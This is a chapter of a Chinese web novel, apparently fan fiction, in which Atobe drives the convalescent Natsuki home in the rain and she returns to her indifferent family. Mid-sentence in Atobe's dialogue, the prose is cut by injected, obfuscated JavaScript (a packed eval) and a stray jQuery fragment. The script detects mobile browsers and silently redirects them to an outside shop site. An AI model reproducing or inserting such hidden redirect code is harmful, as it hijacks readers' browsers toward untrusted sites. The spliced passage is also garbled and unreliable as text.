车辆的隔音效果非常好。
门一关上,外面的狂风暴雨就仿佛都不存在了似的,一瞬间被阻挡在外。
夏葵一向对车不太关心。
再加上昏迷了一年,这期间车辆型号也有迭代。
所以她也只能勉强根据方向盘上的LOGO认出了牌子。
——那是个一向只出限量款且价格也非常美丽的品牌。
但估计在迹部那里,估计是能用零用钱就能随便买到的东西。
有种被炫耀到脸上了的感觉。
一想到自己不仅没人接,连打车都犹犹豫豫,夏葵气鼓鼓地扭过头去,用后脑勺对着迹部,小小表达自己的厌烦。
迹部景吾的目光从前挡风上移开。
他把玩着手上还没有收到回复的手机,有点无奈又好笑地看着恨不得挪的离他八百米远的少女。
长长的,卷曲的黑色头发垂落披散着,将她瘦弱的身躯几乎快要全部遮盖住,看起来着实令人心惊。
迹部静静看了她一会。
在夏葵转头察觉到他的视线之前,点亮了熄屏的手机,无意义地翻动着手机上的那些软件。
森川和夏葵的住处在两个方向。
在即将到达分岔路口前,夏葵看了眼后排表情明显不自在的森川。
“先送我的护工回去吧。”她开口道,“等会如果把她一个人留在不认识的车上,我会觉得很过意不去。”
前排的司机没有立刻回答夏葵。
他通过内后视镜看了一眼迹部的态度。
迹部头也不抬:“听她的。”
司机这才回复夏葵:“好的,秋本小姐。”
按照夏葵报出的地址,他平稳将车辆驶向了和森川家的方向。
“这会不会太给你们添麻烦了?”森川小声道。
“没事。”夏葵安抚道,“迹部同学一向很乐于助人的。”
这种不要钱的好话,她能违心地说一箩筐。
即便迹部闻言看过来,她也露出甜甜的笑容:“是吧,迹部同学?”
不晓得是不是被她忽然堆过来的道德绑架给架住了。
迹部挑了挑眉,勾唇发出了个气音回应她。
车内暖色的阅读灯打在他偏白的皮肤上,活像是给他镀了层圣光一样,夏葵竟然诡异地有一种,他在纵容自己的感觉。
……她一定是疯了。
眨了眨眼,那种错觉很快又褪去。
迹部已经重新将所有的注意力都放回了手上的小方块中。
要是夏葵没看错的话,应该是在看报表什么的。
真忙。
夏葵心里有那么一瞬间产生了一点恩将仇报的愧疚。
只有一点点而已。
不过话都说出去了,迹部也同意了,车也在往森川家开了,就算现在反悔也没有什么必要。
大雨还在持续不停地下。
送了森川到家,后座便只剩下了她和迹部。
夏葵看了一眼手机,上面没有任何来自家人的问询消息,就仿佛他们都不知道夏葵是今天要出院一般。
秋本芽衣这点闹腾不可能瞒得过她爸妈的眼睛。
饶是已经习惯了这种待遇,在这种阴沉潮湿的天气里,夏葵还是不免被影响得有一点低落。
迹部好像已经处理完了手上的事情,收起了手机。
大约是觉得实在太过安静,他看了一眼中控显示的剩余路程,屈尊降贵地开口和夏葵搭话。
照例是询问最近的康复情况,还有他送去的东西有没有派上用场。
前段时间来探病也是这一套聊天程序。
问到最后,又拐到出院后的生活上。
“你打算明天就来学校报道?”
夏葵客气道:“是啊,不然我也不会这么早就出院了。”
迹部沉吟了一下,下意识用手点了点眼角的泪痣:“你的失忆的事……”
“那个啊。”夏葵无所谓道,“应该也没有什么大事,不记得了也没有关系。”
高三都在认真读书为升学做准备了,还能发生什么。
就算家里会闹腾点幺蛾子出来,夏葵用头发想也猜得到,不就是那些已经重复过好多遍的小手段。
每天都差不多的日子,记不记起来有什么关系。
当然,如果记起来的话能直接让她去上大学,她还是愿意的。
迹部的动作忽然停住了。
他深吸了一口气,眉头紧紧地皱了起来。
如果要形容这个表情的严肃程度,大概就是有次宣传部犯了个蠢出天际的大错,然后等迹部帮宣传部擦完屁股后,冷着脸在学生会会议里看一群负责人总结道歉的那种。
完全没搞明白他到底抽的哪门子风。
夏葵疑惑地盯着迹部,等待他这严肃的表情后还会说什么。
但等了又等,却只等到迹部在督了她一眼后,结束了话题:“到了。”
夏葵这才反应过来,看向窗外。
在这么你来我往的敷衍聊天中,什么时候到家了夏葵都没有发现。
别墅区的地下车库可以直达楼上,即便夏葵行动不便,外面的雨也淋不着她。
迹部先一步从他那边的车门走下来,将夏葵折叠起来的轮椅拿出,展开,推到了夏葵这边。
动作熟练到仿佛不是第一次干这种事一样。
被迹部照顾的这种惊奇和新鲜,冲淡了她对于刚刚迹部抽风的疑惑。
夏葵也没有那么想了解迹部,所以纵然好奇,也并不是非常想知道他到底是为什么不开心。
他不开心又怎么样,她开心就好了。
夏葵颔首道谢:“麻烦你了。”
她撑着座椅扶手,指挥着不听话且没什么力气的腿托起身体转移到椅子上。
大约是有迹部在盯着她所以不想丢面子,这一过程夏葵做起来非常顺利,很快就从车上挪了下来。
司机将她的行李取下放到身边,看了眼自家老板的脸色,询问夏葵:“要帮你全部送上去吗,秋本小姐?”
夏葵看了一眼车库里的车,平常接她的那个牌照不在。
估计秋本芽衣还在外面呢。
不过竟然一个没留神让迹部送到家里来了……
“不用了。”夏葵婉拒,“等会我会喊人下来拿的。”
要是真让人送上去了,家里肯定立马就会知道是迹部送她回来的这件事。
能给迹部添麻烦固然开心,但夏葵不想给自己添麻烦。
“今天真是麻烦你了。”
转动轮椅,让自己对着迹部,夏葵一板一眼做足了该做的礼貌。
“实在不好意思,迹部同学。”
少女坐在轮椅里,眨巴着那双祖母绿一样的眼睛,乖乖巧巧——至少表面是乖乖巧巧地看着人的时候,没有人会不心生怜爱。
迹部脸上那种风雨欲来的严肃又一瞬间散去了。
他勾起唇:“没事,毕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493567|202363||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
竟我一向很助人为乐。”
夏葵:……
有种迹部在刺她的感觉。
她还是保持着笑容:“是啊,迹部同学是个好人嘛。”
迹部轻轻哼了一声。
“学校见。”他说,“……秋本。”
说得好像一定会是一个班一样。
她还没有去学校取消休学,到底去哪个班还不知道呢。
夏葵暗里腹诽,面上还是给足了礼貌:“学校见。”
得到了她的回答,今天不知道是心血来潮还是闲的没事干做了好心人的迹部随意地点了点头。
少年重新坐回黑色的保姆车上,指挥着司机驶离。
确认车辆完全消失在视野,并保证已经驶出别墅区不会被撞见,夏葵才终于转动着轮椅到入户呼叫的地方,摁下呼叫铃。
“来两个人下来帮我拿一下行李吧。”
夏葵对着呼叫铃吩咐道。
等了一会,终于下来了几个佣人,推着夏葵的轮椅和行李,将她带回了这个,已经阔别了一年的家。
门口已经没有了夏葵的拖鞋。
佣人在连连道歉后,帮她拿来了新的。
夏葵弯腰给自己艰难换上。
等佣人手脚麻利地帮她清理好轮椅滚轮上的污渍,确认好不会弄脏地面,夏葵才重新推动自己的轮椅,往家里走。
别墅的装修是很典型的欧式风格。
浮夸,绚丽。
从医院那种近乎纯白的环境回家,夏葵一下有点不适应,被客厅的灯闪的眯起了眼睛。
等终于对焦上,夏葵才发现家里是有人的。
客厅的大沙发上正坐着一个女人。
那是夏葵的母亲,目前秋本家的女主人,秋本亚美。
坐在客厅正看着电视的人用余光看了她一眼,继续叉起盘子中片好的水果,漫不经心道:“你回来了啊。”
“母亲。”夏葵打了招呼,“我先回房了。”
秋本亚美懒洋洋地点了点头。
对于夏葵怎么回来的,这么早出院会不会对身体有什么影响,她看上去一点都不关心。
眼睛只一直盯着电视里播放的画面,似乎男女主的感情进展对她来说,比这个女儿在不在这里更重要。
夏葵努力转动轮椅,坐进了电梯。
嗯,还好家里有电梯,不然她还要思考怎么才能把自己挪上三楼的房间。
她分神了一瞬。
一直摇着轮椅走了很久,夏葵停在了走廊的尽头的房间前。
按照秋本芽衣回来以后的要求,夏葵的房间被放在了距离所有人房间的最远处的一间。
这里平常都没有什么人会来,因此安静得可以。
夏葵推开门。
里面的陈设没变,也没有落灰,看上去佣人竟然还能想起来她这个大小姐的存在,定期还会来帮她打扫。
将佣人堆在门口的行李往里面推一下,夏葵进了房,关上门,将自己和秋本家外面的世界隔离开。
这个家……还是那么让人不舒服啊。
夏葵努力将把自己从轮椅甩到沙发上,看着天花板,叹了口气。
她忽然想起刚刚送她回来的迹部。
要是迹部这么住一趟医院,回家会是什么样子?
估计肯定是别人殷切地把他想要的一切送到面前,然后各种嘘寒问暖吧。
真是讨厌。
夏葵想。
都讨厌。